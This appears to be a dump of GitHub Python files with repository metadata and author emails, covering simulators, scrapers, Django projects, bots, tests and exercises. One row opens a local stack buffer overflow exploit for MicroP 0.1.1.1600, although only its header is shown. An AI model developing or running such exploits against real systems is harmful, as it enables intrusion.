] | nishant.rao173@gmail.com |
29698006b4599587d123c8ce7290cb3c2b0386b8 | 0c4c749f863c176b3a788c0b0e65117eb0530547 | /readinput.py | a7a28bcf9bc3a769554c7da305a806f85f6cb485 | [
"Apache-2.0"
] | permissive | pankajcoding/TAS | a55e422e1d936ce503048c8e05e1eaa8905af781 | 3acee6afbda489f5c188b67d4ab7924f6c1a0e84 | refs/heads/master | 2020-05-02T20:58:30.593382 | 2019-04-01T11:34:41 | 2019-04-01T11:34:41 | 178,206,919 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,983 | py | class Instruction:
def __init__(self,op,destreg,sreg1,sreg2):
self.op=op
self.destreg=destreg
self.sreg1=sreg1
self.sreg2=sreg2
class ReservationStation:
def __init__(self,id,busy=1,op=-1,vj=None,vk=None,qj=-1,qk=-1,disp=0):
self.id=id
self.busy=busy
self.op=op
self.vj=vj
self.vk=vk
self.qj=qj
... | [
"pankajkumar196yahoo@gmail.com"
] | pankajkumar196yahoo@gmail.com |
c255cb8d3213b6bc36e417faaae47d76d3f94ba6 | a7e1003a57bea59e4209c36c9e4493686b546c88 | /manga_py/providers/blogtruyen_com.py | 9e2ae01e7e0605f5b9444acad1b0067ebf35a9d9 | [
"MIT"
] | permissive | terepanda/manga-dl | b7de04ea42d64c71689860502895bf0bc274f9a4 | 2ac3a314c2f67ad22f6da7e293ec6b3a132d7834 | refs/heads/stable_1.x | 2020-04-28T09:22:26.055562 | 2019-03-11T16:07:00 | 2019-03-11T16:07:00 | 173,831,799 | 0 | 0 | MIT | 2019-03-04T22:30:24 | 2019-03-04T22:30:24 | null | UTF-8 | Python | false | false | 1,169 | py | from manga_py.provider import Provider
from .helpers.std import Std
class BlogTruyenCom(Provider, Std):
def get_chapter_index(self) -> str:
idx = self.re.search(r'\.com/c(\d+)/', self.chapter)
return '{}-{}'.format(self.chapter_id, idx.group(1))
def get_main_content(self):
url = self... | [
"sttv-pc@mail.ru"
] | sttv-pc@mail.ru |
319167886dffc046f9ce22266a6bc0400ffc7754 | 49197a748adea1618a2cece7a1ae057006da090c | /jgodwin/diff/SConstruct | 7b12c08a428e67563eadff2e3eb80b8b3403a1b8 | [] | no_license | psava/cwp12 | 0bbb1f213c66737509280fc4b0ac5c53b52d017a | 3f47c1bf358caa5ebe608ab88fc12b85fd489220 | refs/heads/master | 2021-01-10T21:24:57.572992 | 2012-10-10T15:52:18 | 2012-10-10T15:52:18 | 2,213,082 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 273 | from rsf.proj import *
import fdutil
import acousticfd as fd
par = dict(
nx=601,ox=0.0,dx=10.0,
nz=401,oz=0.0,dz=10.0,
nt=1501,ot=0.0,dt=0.002,kt=100,freq=25
)
fdpar = fdutil.defaults(nb=50,**par)
fdutil.constant2d('vel',2000,**par)
Flow('den',
'''
| [
"jgodwin@mines.edu"
] | jgodwin@mines.edu | |
594d55a79cd1cf6b6b9519c922596c329b7cfe99 | 1125e5999b20df75ef18e6780154ed2ea1e3ea26 | /src/miniserver/routes.py | 3ac633f978c7cfb7ffa26f176c314933a6f4cf11 | [] | no_license | fabiommendes/miniserver | 426593b2204dc2d12a944f361b3285f055157b18 | 0b82263ff01716583e110d0bfee506363f4f047a | refs/heads/master | 2021-01-23T06:15:11.264330 | 2017-03-27T14:45:43 | 2017-03-27T14:45:43 | 86,347,361 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,574 | py | import warnings
from collections import OrderedDict
from functools import singledispatch
import functools
ROUTES = OrderedDict()
DEFAULT_PAGE_NAMES = {'index': ''}
def route(url=None, **kwargs):
"""
Decorator that defines a route in your web page.
"""
if callable(url) and url.__name__ in DEFAULT_P... | [
"fabiomacedomendes@gmail.com"
] | fabiomacedomendes@gmail.com |
1110a852257efa822e45b22417016e5fbcfa0ea7 | abefff4117482aed495b2c17bc0d3cc5a178fcc7 | /ReleaseBuilds/Linux/resources/maps/Generate/checks.py | 450f60723fb2a9697187d839cabb0e3861102809 | [] | no_license | blazingkin/gamejam-2020 | f2163d1d03ddae7c4bc65f25dd1211e9173a6e6d | 0bb8025bb03dc92c4d1a599049c5008f8a67e92f | refs/heads/master | 2022-08-04T05:27:41.263512 | 2020-05-25T01:13:32 | 2020-05-25T01:13:32 | 266,653,642 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 622 | py | def checkBlack(r, g, b, a):
if (r == 0 and b == 0 and g == 0 and a == 255):
return True
return False
def checkWhite(r, g, b, a):
if (r == 255 and b == 255 and g == 255 and a == 255):
return True
return False
def checkBlue(r, g, b, a):
if (r == 0 and b == 255 and g == 0 a... | [
"blazingkin@gmail.com"
] | blazingkin@gmail.com |
1e4a51bf9b32795d916f228d5b11336efe9b2520 | 98c6ea9c884152e8340605a706efefbea6170be5 | /examples/data/Assignment_2/ndxthr005/question3.py | 110544217c857301086e741cfc1f0e2b7ba094fb | [] | no_license | MrHamdulay/csc3-capstone | 479d659e1dcd28040e83ebd9e3374d0ccc0c6817 | 6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2 | refs/heads/master | 2021-03-12T21:55:57.781339 | 2014-09-22T02:22:22 | 2014-09-22T02:22:22 | 22,372,174 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 309 | py | #thrianka naidoo
#ndxthr005
#question3
import math
x=0
y=2
z=2
while x!=2:
x=math.sqrt(2+x)
z=z*(y/x)
print("Approximation of pi: ", round(z,3),sep='')
radius=eval(input("Enter the radius: \n"))
a=z * (radius**2)
print("Area: ",round(a,3),sep='')
| [
"jarr2000@gmail.com"
] | jarr2000@gmail.com |
7dac095e246f04b16e09db800a5c43df285578fc | 51240868244b76ae9208d05483550a3ae3cdeabc | /config.py | e60d3ddad5ef9fe8d63e0092d59a33186902b439 | [
"MIT"
] | permissive | annechege/Online-event | 396401c66fd087f3ace64d15ef645e4357168004 | 3ea69e416550171cbb86279674412eee3d171f6d | refs/heads/master | 2023-06-01T12:27:43.146440 | 2021-06-24T17:11:00 | 2021-06-24T17:11:00 | 379,850,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 395 | py | import os
class Config:
API_KEY=os.environ.get("API_KEY")
NEWS_API_BASE_URL='https://newsapi.org/v2/sources?country=us&category={}&apiKey={}'
NEWS_ARTICLES_APL_URL='https://newsapi.org/v2/everything?q={}&apiKey={}'
SOURCE_ARTICLES_URL='https://newsapi.org/v2/everything?sources={}&apiKey='
class DevCon... | [
"annechege780@gmail.com"
] | annechege780@gmail.com |
cc819f12b3cba1ace7ecccad91aac01edc8bd75f | 13b02ce7a295f2d05ebe6dfde1af4a4910c0c97e | /Scripts/dataset_statistics.py | 07200b74cfc21baec99bda397ed5693b74f2f595 | [] | no_license | mohankumargupta/University-Project | 1cd00cc121f13f1c4614b0de9500c1899fa8b19f | 1c011ca2cae8371dfeb0bb7aa2c92ec24f2e2789 | refs/heads/master | 2021-01-12T09:44:38.543088 | 2014-04-03T10:07:21 | 2014-04-03T10:07:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,214 | py | from collections import Counter
from horse_parser import HorseParser
from race_parser import RaceParser
from horse_parser_no_handicaps import HorseParserNoHandicaps
from race_parser_no_handicaps import RaceParserNoHandicaps
''' Computes the number of races in the dataset for which the dataset contains the records of... | [
"maithuvenkatesh@gmail.com"
] | maithuvenkatesh@gmail.com |
63eb70fb3cfef92dc7a6799ef66587b91f5e6b14 | 2f380e7ebe2e0b05c1c487949f999b4d138702bb | /recurse_limit/merge_sd_preds.py | e680ed265ac489e52246fdc31a06a690029479d9 | [] | no_license | fdamani/mol-edit | 9ab09b63957d1aaa0ad31302bc7ebb21f72dafe3 | ec40f15d6092dd6c46f42f4099635e8d5682ab10 | refs/heads/master | 2021-02-16T19:44:15.475348 | 2020-03-05T20:52:01 | 2020-03-05T20:52:01 | 245,039,275 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 620 | py | import numpy as np
import pandas as pd
import sys
from IPython import embed
import os
input_dir1 = sys.argv[1]
input_dir2 = sys.argv[2]
input_dir3 = sys.argv[3]
#input_dir4 = sys.argv[4]
output_dir = sys.argv[4]
combined_dat = []
dirs = [input_dir1, input_dir2, input_dir3]#, input_dir4]
for dr in dirs:
for file in ... | [
"farhand7@gmail.com"
] | farhand7@gmail.com |
701aefc8f95457861896fba7777ce18a28630e0f | a6a08c80ee1ada28bc6ad0371065ce7c13c9331b | /player.py | 282ae5da659b1ba24aa54d6f67eed4af6ee153e5 | [] | no_license | khatangatao/networkTutorial1 | 3a2a9658c1b3cafb3755384c4bb866ec2de69f2f | e77f0248d6c4e97a1cd52ec215a7b85fe3de50fe | refs/heads/master | 2020-05-15T11:44:49.311028 | 2019-08-28T08:06:18 | 2019-08-28T08:06:18 | 182,242,986 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 813 | py | import pygame
class Player():
def __init__(self, x, y, width, height, color):
self.x = x
self.y = y
self.width = width
self.height = height
self.color = color
self.rect = (x, y, width, height)
self.vel = 3
def draw(self, win):
"""draw rectange t... | [
"e.ovchinnikov@sysolutions.ru"
] | e.ovchinnikov@sysolutions.ru |
3b151832899d2bcaf4adc33fa0a46a3e5f0486db | d93fe0484fc3b32c8fd9b33cc66cfd636a148ec4 | /AtCoder/ARC105/probD.py | 8f5eb20fda413d72ad9dd38d8820d4c345789e27 | [] | no_license | wattaihei/ProgrammingContest | 0d34f42f60fa6693e04c933c978527ffaddceda7 | c26de8d42790651aaee56df0956e0b206d1cceb4 | refs/heads/master | 2023-04-22T19:43:43.394907 | 2021-05-02T13:05:21 | 2021-05-02T13:05:21 | 264,400,706 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 400 | py | import sys
input = sys.stdin.buffer.readline
from collections import Counter
def canWiFirst(N, A):
if N%2 == 1:
return False
C = Counter(A)
for c in C.values():
if c%2 != 0:
return True
return False
Q = int(input())
for _ in range(Q):
N = int(input())
A = list(map(... | [
"wattaihei.rapyuta@gmail.com"
] | wattaihei.rapyuta@gmail.com |
f0cf8fc30761652463b3ecce7ac92d9b03320a58 | bffaba2184f883876a41a13d17625df951b3c37a | /windows/x86/local/microp_0.1.1.1600/microp_0.1.1.1600.py | cb387a21f58cf3ff5777730beb3a0f4f59dfb6c3 | [] | no_license | VoidSec/Exploit-Development | 5d99e2c784f5d12b4020aea23cda7de33bd51486 | d75e6b336f2239b85fb2da7a537ffc0647ef497d | refs/heads/master | 2023-06-23T16:26:33.337107 | 2023-06-22T20:49:44 | 2023-06-22T20:49:44 | 180,751,769 | 165 | 38 | null | 2022-05-23T18:15:24 | 2019-04-11T08:47:31 | Python | UTF-8 | Python | false | false | 2,308 | py | """
Full title: MicroP 0.1.1.1600 Local Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: http://sourceforge.net/projects/microp/
Version: MicroP 0.1.1.1600
Tested on: Windows XP SP3
Category: local exploit
Platform: windows
"""
#!/usr/bin/python
# EAX is p... | [
"voidsec@voidsec.com"
] | voidsec@voidsec.com |
a9aae50245008966f6aaa8ec8c393a6dbb8e88e1 | 127fa3dd454434b4c7526afe161177af2e10226e | /leetcode/20. Valid Parentheses.py | f68d5676ff6db745443ab6507617aa5be571ebf7 | [] | no_license | lunar-r/sword-to-offer-python | 966c46a8ddcff8ce5c95697638c988d83da3beab | fab4c341486e872fb2926d1b6d50499d55e76a4a | refs/heads/master | 2023-04-18T18:57:12.126441 | 2020-11-29T09:51:23 | 2020-11-29T09:51:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,771 | py | # -*- coding: utf-8 -*-
"""
File Name: 20. Valid Parentheses
Description :
Author : simon
date: 19-3-23
"""
"""
思路: 不断从中间删除'()', '[]', '{}' 直到最后变成空字符串
"""
class Solution(object):
def isValid(self, s):
"""
:type s: str
:rtype: bool
"""
if not s:... | [
"2711772037@qq.com"
] | 2711772037@qq.com |
85a88417b4dc336d32fb32864d4d54540c01bd63 | b956e5f659f5045489a87fee8f1d6db778ac3d87 | /riskGame/classes/agent/agent.py | f97b5c67514ca8000a65a2e77c90c240032a4004 | [
"MIT"
] | permissive | AmrHendy/risk-game | 5599864444cc1feda706f20988d744acd9222184 | c7f9ac86de6118e6522ae3c60b36b914fafad946 | refs/heads/master | 2020-04-11T12:28:29.581768 | 2019-01-04T23:48:11 | 2019-01-04T23:48:11 | 161,781,452 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,148 | py | from riskGame.classes.state.move import Move
from copy import deepcopy
class Agent:
def __init__(self, place_bonus_heuristic, move_heuristic, attack_heuristic):
self._place_bonus_heuristic = place_bonus_heuristic
self._move_heuristic = move_heuristic
self._attack_heuristic = attack_heuris... | [
"amr.m.hendy@gmail.com"
] | amr.m.hendy@gmail.com |
77da6860684dfce2ec7fcfdf14c2655de8344b36 | af4baf0c9daf95996334ea83b33d6a360eb352bc | /cogs/Anim.py | 9e0a0b4b4b61316e2e68915fe9522b1bc4e52a20 | [] | no_license | EC-discord/TestBotEC | f16af106846f1d510a5a927b4046432242645389 | 7b12ab2943899f28fb52b1923f1cd15a4f0c653e | refs/heads/master | 2021-06-04T04:33:33.187612 | 2020-06-13T16:27:34 | 2020-06-13T16:27:34 | 109,504,954 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,234 | py | import discord
import asyncio
from discord.ext import commands
class Anim(commands.Cog):
def __init__(self, bot):
self.bot = bot
@commands.command()
async def cathi(self, ctx):
msg = await ctx.send("""ຸ _____
/ / /|"
| ̄ ̄ ̄ ̄| |
| |/
 ̄ ̄ ̄ ̄""")
await asyncio... | [
"noreply@github.com"
] | noreply@github.com |
c88d91a684760a70db45c13dfa401b805fb99304 | bef2720e24999b2a923fa27207afe16b3fc5e71f | /Labs2/Lab5.py | 9210f60e10722c4309ba4e7b198e8c4833731a7c | [] | no_license | justineyerly/it3038c-scripts | e28173f5cd25f89ec5c5fd7adea8a2fbba9c9312 | 82e781418cc017d092aac97ea5f631c03db9f05a | refs/heads/master | 2022-07-10T14:44:58.455083 | 2020-04-30T01:27:58 | 2020-04-30T01:27:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,176 | py | import random
numberofGuesses = 0
number = random.randint(1,100)
print("Hello! What is your name?")
name = input()
print('Welcome, ' +name +"! You're going to play a number guessing game. You must guess a number between 1 and 100. Can you do it in what? 10 tries? Ready. Go!")
while numberofGuesses < 10:
print('T... | [
"eyerlyja@mail.uc.edu"
] | eyerlyja@mail.uc.edu |
3a65a7ae36bc8dee8927515ec8b2f97f90ff8da3 | 17c6673dfa35cdc053d51415ed565101d9c1f30e | /recipe_app/migrations/0001_initial.py | 3978b663233d60bab34db1bdc360ea917a4b3324 | [] | no_license | jodi08/recipe_box | a7a5a6ec4ee5926c729285a51b83bcaa63c15f3a | 562c847dd2bd8cf88bd2e0c7364a27224606db85 | refs/heads/dev | 2022-12-12T04:24:27.419874 | 2020-08-07T21:18:49 | 2020-08-07T21:18:49 | 285,696,017 | 0 | 1 | null | 2020-09-12T04:01:52 | 2020-08-07T00:02:16 | Python | UTF-8 | Python | false | false | 1,134 | py | # Generated by Django 3.1 on 2020-08-07 14:15
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Author',
fields=[
... | [
"joanna.mollman@gmail.com"
] | joanna.mollman@gmail.com |
f30701bd492a4102d4f2a33e2bbda3effb1a234b | 5a64bd2d0fe5b9af737fe8844957e92ab7412bc1 | /accounts/admin.py | fc6c33c480fb72d31fff80537a09857c7b0e72a3 | [] | no_license | ishimwe-samuel/vmis_python | 5b19b3b2bfc881853d0a5aee0fd105664fb4e648 | 054584d199f4da3ca24bd6ca96ed52d68218b8fd | refs/heads/master | 2023-02-23T15:08:16.905002 | 2021-01-31T21:23:31 | 2021-01-31T21:23:31 | 334,760,238 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,576 | py | from django.contrib import admin
from .models import User
from .forms import UserAdminCreationForm, UserAdminChangeForm
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
class UserAdmin(BaseUserAdmin):
# The forms to add and change user instances
form = UserAdminChangeForm
add_form = UserAd... | [
"samuelishimwe@gmail.com"
] | samuelishimwe@gmail.com |
a12b64c5884c334a29924be461c7346f4857dbbe | 251c70bd53ce6c499b011590c2f73632696d950f | /virtual/lib/python3.6/site-packages/mypy/test/teststubgen.py | 3566f03fb9a1497dc33226a715cc846110889d3f | [
"MIT"
] | permissive | EduardoPessanha/Git-Python | ef09e404641fb988817c995bdf607c1860bf0622 | 87aa10af09510469032732ed2c55d0d65eb4c1d6 | refs/heads/master | 2023-01-25T01:10:51.089507 | 2020-12-03T12:27:44 | 2020-12-03T12:27:44 | 296,760,423 | 0 | 0 | MIT | 2020-09-28T03:37:14 | 2020-09-19T01:04:33 | Python | UTF-8 | Python | false | false | 34,973 | py | import io
import os.path
import shutil
import sys
import tempfile
import re
import unittest
from types import ModuleType
from typing import Any, List, Tuple, Optional
from mypy.test.helpers import (
assert_equal, assert_string_arrays_equal, local_sys_path_set
)
from mypy.test.data import DataSuite, DataDrivenTest... | [
"poppessanha@gmail.com"
] | poppessanha@gmail.com |
c423bf6d59f5a31288293453b53fb976b8347c87 | 11d700eb1108e1b40ff9c7ff57f5b25d2fcd4ecc | /myweb/login/migrations/0006_auto_20210426_1439.py | ff14c713c26a15ea84b77942210676fd5faa79f6 | [] | no_license | KoeyNim/Git-Community | 307fbe251c3b9d8f6e1f22629890775e8dd0d336 | aba59983becb796f0d4f7f3e41f4883ac9cad0b7 | refs/heads/master | 2023-04-16T17:54:15.268698 | 2021-04-30T07:37:51 | 2021-04-30T07:37:51 | 325,216,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 491 | py | # Generated by Django 3.1.7 on 2021-04-26 05:39
from django.db import migrations, models
import login.Validators
class Migration(migrations.Migration):
dependencies = [
('login', '0005_auto_20210426_1438'),
]
operations = [
migrations.AlterField(
model_name='user',
... | [
"49alswjd@naver.com"
] | 49alswjd@naver.com |
5fa845cfc1438b8852de6c6c9363dca2bcb67aca | 4439df6ac5b8bec2ff643a1ec57fb85073a08a23 | /MoMMI/Modules/worksonmymachinetm.py | fc66475c580925ed53b650be178db71c31cdd588 | [
"MIT"
] | permissive | Wizardcrying/MoMMI | 709fd133a90f9351bcfc5d7e704838c8d283c461 | 30957a55cbe2c077d6b421d3727250299ed10a0d | refs/heads/master | 2020-06-20T17:49:59.953032 | 2016-11-26T13:57:37 | 2016-11-26T13:57:37 | 74,852,412 | 0 | 0 | null | 2016-11-26T21:49:18 | 2016-11-26T21:49:18 | null | UTF-8 | Python | false | false | 395 | py | from ..client import client
from ..commands import always_command
import re
import aiofiles
@always_command(True)
async def worksonmymachine(message):
match = re.search(r"works\s*(for me|((at|on|in)\s*m(y|ine)\s*.*))", message.content, re.IGNORECASE)
if match is None:
return
await clien... | [
"pieterjan.briers+bot@gmail.com"
] | pieterjan.briers+bot@gmail.com |
e0a9b7881060b89d3ac4782a2bfb862c1daaf3e0 | c431e16d3bfb0a709e747134878615ef4552f79a | /tests/fastmri/test_envs.py | ae7476c5a4668a4e4c871ec14765990f1dd3c4a7 | [
"MIT"
] | permissive | odelalleau/active-mri-acquisition | 4939eaad659588148e497ad863844b4613f1a8bf | 90abc1ebdfc56925c4136115c7d8f4c6f208f912 | refs/heads/master | 2023-02-25T04:38:58.045324 | 2021-01-29T17:34:38 | 2021-01-29T17:34:38 | 334,206,247 | 0 | 0 | MIT | 2021-01-29T18:04:17 | 2021-01-29T16:50:28 | Python | UTF-8 | Python | false | false | 4,179 | py | # Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import numpy as np
import pytest # noqa: F401
import activemri.envs.envs as envs
class TestMICCAIEnv:
env = envs.MICCAI2020Env()
d... | [
"luisen.p@gmail.com"
] | luisen.p@gmail.com |
938f201ccda6e3d76066c4ead1b6b853a53fd18d | 7326c2589e6dc250083415d65e28754ea1e9968e | /17_Inheritance_1.py | 14c4ee3ba0eb6d4a42889fa6191f96fb6cc308af | [] | no_license | nanoyslee/Python_Calulator-Login | 23aa1dd2135dafaa43de5c1d9ce12268e18eab19 | 5a4be881c96dd4495d58160f176d1c07283dd8bb | refs/heads/master | 2020-03-28T12:03:32.493326 | 2018-09-27T22:32:23 | 2018-09-27T22:32:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 426 | py | class Class1(object):
def method1(self):
return 'm1'
c1 = Class1()
print(c1.method1())
class Class2(object):
def method1(self):
return 'm1'
def method2(self):
return 'm2'
c2 = Class2()
print(c2.method1())
print(c2.method2())
class Class3(Class1):
def me... | [
"noreply@github.com"
] | noreply@github.com |
ae185b44883b5e50aa15019ae93c4ab05a147aa7 | 2863d91df18eb2462840466b70339382c79195ff | /String.py | d61c6fde5822b00c418e40342cb9933aef846c5d | [] | no_license | girish3349/OrangeHRMPOM | 2651b9529a58bc91367aa77cc5d97e9f181f1a39 | 1f2df7237db9d30f56bc06b4827cdd0bc45a5efd | refs/heads/master | 2022-12-13T07:23:42.740421 | 2020-09-20T13:17:47 | 2020-09-20T13:17:47 | 297,077,658 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 136 | py | fullName = "Gbellamkonda"
var3 = "38.9details like"
print (fullName)
print(var3)
print (var3[-12:])
print (var3.split("details like")) | [
"girish3349@gmail.com"
] | girish3349@gmail.com |
87befa3eef830cbc6a7f0a12aa9dcac32bf9c495 | baaa3a4d6cc9f9e465726ba11647ca9a3e431a7e | /IN1000/Trix 6/løkker_og_prosedyrer.py | 361179363b5e189e21c11724eb82d81781e3d59c | [] | no_license | MehCheniti/Python | 671d430868e1b8eeafabd7ecb1cf6684ab5c6858 | 1e1dc38dc874e03cb248664ff48f3cb2d497c6e5 | refs/heads/master | 2022-05-28T03:05:31.336202 | 2022-03-11T19:55:46 | 2022-03-11T19:55:46 | 206,413,523 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 186 | py | def skriv_med_trykk(param):
print (param + "!")
i = 0
while i < 5:
inn = input("Gi meg et kraftuttrykk! ")
if (inn.lower() == "nei"):
break
skriv_med_trykk(inn)
| [
"mehdiwx91@hotmail.com"
] | mehdiwx91@hotmail.com |
7699469afadfdc6c434ad8ec90f34b76384bc63f | eacd408becd79432b0f29f5f68b9d1c1a5623cf8 | /manage.py | 0f0ab42991580189005c267294b0725352847a98 | [] | no_license | fedediaz1234/Margarita | ca1f7b4fbe171a68153dde7d14cbb9a22e78e73c | e05e09ea3e3da3516c25ef1f23049d289d24dcf9 | refs/heads/master | 2020-12-23T15:25:37.886604 | 2017-05-27T01:44:12 | 2017-05-27T01:44:12 | 92,561,858 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 252 | py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "margarita.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| [
"fede2535@gmail.com"
] | fede2535@gmail.com |
e4d33d6c45c1787d86533381a8c9f8f4fffc20cd | 66dda4d91cc9979efa4ea07e6abf461e47c04bdf | /database.py | 5b4be0e60d87cdbd5228ec6db4170f97eca7777f | [] | no_license | 0xlearner/FastAPI-Stock-Screener | e69ea15fa23b56eac894ec62a3ff2d8e1d4d1c36 | 09b8936dbbaf28cfdf9c304761ff8ca352c5effb | refs/heads/main | 2023-06-14T22:52:37.350488 | 2021-07-03T13:17:43 | 2021-07-03T13:17:43 | 382,618,316 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 468 | py | from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
SQLALCHEMY_DATABASE_URL = "postgresql+psycopg2://postgres:password@db:5432/stocks_db"
engine = create_engine(SQLALCHEMY_DATABASE_URL)
SessionLocal = sessionmaker(autocommit=False, auto... | [
"iamtauqeerabbas@gmail.com"
] | iamtauqeerabbas@gmail.com |
e6519c8185a748057c68378fbdedde5727fb3be9 | 19a09ec3b59810dfca1d3470414ee51479cc0507 | /code.py | 74259be646b7625d7191de8633e4a9e91cfc550c | [] | no_license | rlavrinenko/backup_with_python | dbf3b019c0d4b3f28844efd29a7a2bbe26c6134b | 487d10c9c109ee333cc7e0df2b248ba5ae23a0c4 | refs/heads/master | 2022-12-01T04:02:20.558495 | 2020-07-28T17:21:41 | 2020-07-28T17:21:41 | 283,279,844 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 655 | py | import os, datetime, pyminizip, paramiko
now = datetime.datetime.now()
date=now.strftime("%Y%m%d")
password=now.strftime("P@ssw0rd%Y%m%dpleaseEnter") #Пароль со своей фразой
os.chdir('d:\TMP')
compression_level = 5
pyminizip.compress("d:\TMP\file.xxx", "", "TMP"+ date +".zip", password, compression_level)
zipfile="TMP... | [
"68317397+rlavrinenko@users.noreply.github.com"
] | 68317397+rlavrinenko@users.noreply.github.com |
860f068da1da4f29f84e6c9876de48c0f9dfcd68 | f7be1846da14366ca8277dc3edc207766de838f0 | /Codeforces/407d2B.py | 32c1d8dc337f18ce961e89378a05bddfd08f824f | [] | no_license | IsThatYou/Competitive-Programming | d440f9e78f8a982cd60aa8c81833b9e10208b29e | a924ac7087654402c7f7c4b62374c377178061ad | refs/heads/master | 2020-07-19T16:31:32.492635 | 2019-01-27T02:45:21 | 2019-01-27T02:45:21 | 73,759,128 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 980 | py | b1,q,l,m = [int(i) for i in input().split()]
bad = [int(i) for i in input().split()]
if abs(q) > 1 and b1 != 0:
b2 = b1
count = 0
while abs(b2) <= l:
count += 1
if b2 in bad:
count-=1
b2 *= q
'''
for u in bad:
i = u
while (i%q == 0):
i = i / q
a = i == b1
if a:
break
a = i == b1
if... | [
"junlinwang18@gmail.com"
] | junlinwang18@gmail.com |
2e847f42310ca02b1e0a0171f8165b72640288c8 | 7d1a1f66ebefe567a83cef342c3d5896e59ddbdf | /PublicServer/supervision/apps.py | 9f2d5cce5a4c587aa6224fafeb75c3b85ced5701 | [
"MIT"
] | permissive | CodeathonURV/CodeathonURV2016_Raspi | b944d7546e55af18148f5e1001e133a5aeb997b5 | 4eecd7ea86e8845bd1d0f4d5c3747f5e61b0214e | refs/heads/master | 2021-01-18T12:17:55.387695 | 2016-02-14T15:43:04 | 2016-02-14T15:43:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 138 | py | from __future__ import unicode_literals
from django.apps import AppConfig
class SupervisionConfig(AppConfig):
name = 'supervision'
| [
"mlopez@nexio.cat"
] | mlopez@nexio.cat |
cb91ae92c3397a0cba27896e52806faee64dc228 | 2c74bb301f1ed83b79254944183ac5a18a639fdf | /homeassistant/components/moehlenhoff_alpha2/binary_sensor.py | ddd92c3a70b2e0dd303e31693cb0d6f19d25c601 | [
"Apache-2.0"
] | permissive | Adminiuga/home-assistant | 5bec93007ddac1a268cc359bf7e48530c5f73b38 | dcf68d768e4f628d038f1fdd6e40bad713fbc222 | refs/heads/dev | 2023-02-22T22:03:31.013931 | 2022-11-09T00:27:20 | 2022-11-09T00:27:20 | 123,929,062 | 5 | 4 | Apache-2.0 | 2023-02-22T06:14:31 | 2018-03-05T14:11:09 | Python | UTF-8 | Python | false | false | 2,029 | py | """Support for Alpha2 IO device battery sensors."""
from homeassistant.components.binary_sensor import (
BinarySensorDeviceClass,
BinarySensorEntity,
)
from homeassistant.config_entries import ConfigEntry
from homeassistant.core import HomeAssistant
from homeassistant.helpers.entity import EntityCategory
from ... | [
"noreply@github.com"
] | noreply@github.com |
73fc658fab6493e02d2e855c1be858adfa5c027a | 173016e62bcca69fc36b7888c1784ad599756ed5 | /special-number.py | 052c75cc895d21debe53294ffab805775e2d8a4e | [] | no_license | dogac00/Python-Problems | c9415a1e3f8fbf5418088bfe94564e3e4d6b388e | 057674477cd3c8fc2de550bb512eeb8ab5edba2e | refs/heads/master | 2020-03-18T00:28:39.154471 | 2019-07-11T20:48:29 | 2019-07-11T20:48:29 | 134,096,575 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 259 | py | # A number is a Special Number if it’s digits only consist 0, 1, 2, 3, 4 or 5.
# Given a number determine if it special number or not.
special = set("012345")
def special_number(number):
return "Special!!" if set(str(number)) <= special else "NOT!!"
| [
"noreply@github.com"
] | noreply@github.com |
ecb35b2b5b2cc20842256f8d6e32bd90ac048300 | 0ebf0f176b41aa3980ace85f1249f196f71d22d6 | /shoppingly/settings.py | 71cca9af8a965de2a61015c4dc4259fdfcf21b4c | [] | no_license | daps07/dookhim | 8f9c155e64416323cda698c7f5e9060638e33e72 | 3637651ffd20fd9440ff3dbe044d946d948a54d7 | refs/heads/master | 2023-07-16T06:46:16.235730 | 2021-08-26T04:57:59 | 2021-08-26T04:57:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,606 | py | """
Django settings for shoppingly project.
Generated by 'django-admin startproject' using Django 3.2.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
import os
... | [
"awasthisailes@gmail.com"
] | awasthisailes@gmail.com |
